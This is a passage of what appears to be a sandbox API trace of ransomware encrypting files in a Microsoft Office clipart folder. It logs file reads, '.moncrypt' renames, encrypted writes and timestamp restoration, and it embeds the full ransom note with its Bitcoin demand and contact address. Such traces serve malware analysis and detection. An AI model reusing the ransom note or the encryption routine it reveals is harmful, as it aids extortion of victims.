lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1cd8 [0060.875] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.875] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1cd8, lpOverlapped=0x0) returned 1 [0060.877] GlobalLock (hMem=0x440004) returned 0x550170 [0060.877] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.877] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.877] GlobalUnlock (hMem=0x440004) returned 0 [0060.877] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.877] GlobalUnlock (hMem=0x44000c) returned 0 [0060.877] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.877] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.877] GlobalUnlock (hMem=0x44000c) returned 0 [0060.877] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.877] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1cf0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1cf0, lpOverlapped=0x0) returned 1 [0060.878] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.878] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.892] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.892] CloseHandle (hObject=0x188) returned 1 [0060.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.893] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.893] CloseHandle (hObject=0x188) returned 1 [0060.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.moncrypt", dwFileAttributes=0x20) returned 1 [0060.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.894] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.894] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.894] GlobalUnlock (hMem=0x44000c) returned 0 [0060.894] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.894] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.894] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.894] GlobalUnlock (hMem=0x44000c) returned 0 [0060.894] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.894] GlobalUnlock (hMem=0x440004) returned 0 [0060.894] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.894] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.894] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.894] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.895] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.895] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.895] CloseHandle (hObject=0x188) returned 1 [0060.895] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0060.895] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.895] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.896] GlobalLock (hMem=0x440004) returned 0x550170 [0060.896] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.896] GlobalUnlock (hMem=0x440004) returned 0 [0060.896] GlobalLock (hMem=0x440004) returned 0x550170 [0060.896] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.896] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.896] GlobalUnlock (hMem=0x440004) returned 0 [0060.896] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.896] GlobalUnlock (hMem=0x44000c) returned 0 [0060.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.896] CharLowerBuffW (in: lpsz="BD00116_.WMF", cchLength=0xc | out: lpsz="bd00116_.wmf") returned 0xc [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.897] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00116_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.897] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.897] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.897] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", dwFileAttributes=0x20) returned 1 [0060.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.moncrypt")) returned 1 [0060.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.913] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.913] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1306 [0060.913] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.913] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1306, lpOverlapped=0x0) returned 1 [0060.927] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.927] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.927] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.927] GlobalUnlock (hMem=0x44000c) returned 0 [0060.927] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.927] GlobalUnlock (hMem=0x440004) returned 0 [0060.927] GlobalLock (hMem=0x440004) returned 0x550170 [0060.927] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.927] GlobalUnlock (hMem=0x440004) returned 0 [0060.927] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.927] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1320, lpOverlapped=0x0) returned 1 [0060.927] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.927] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.939] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.939] CloseHandle (hObject=0x188) returned 1 [0060.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.940] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.940] CloseHandle (hObject=0x188) returned 1 [0060.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.941] GlobalLock (hMem=0x440004) returned 0x550170 [0060.941] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.941] GlobalUnlock (hMem=0x440004) returned 0 [0060.941] GlobalLock (hMem=0x440004) returned 0x550170 [0060.941] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.941] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.941] GlobalUnlock (hMem=0x440004) returned 0 [0060.941] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.941] GlobalUnlock (hMem=0x44000c) returned 0 [0060.941] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.942] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.942] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.942] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.942] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.942] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.942] CloseHandle (hObject=0x188) returned 1 [0060.943] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0060.943] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.943] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.943] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.943] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.943] GlobalUnlock (hMem=0x44000c) returned 0 [0060.943] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.943] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.943] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.943] GlobalUnlock (hMem=0x44000c) returned 0 [0060.943] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.943] GlobalUnlock (hMem=0x440004) returned 0 [0060.943] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.943] CharLowerBuffW (in: lpsz="BD00141_.WMF", cchLength=0xc | out: lpsz="bd00141_.wmf") returned 0xc [0060.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.943] WideCharToMultiByte (in: 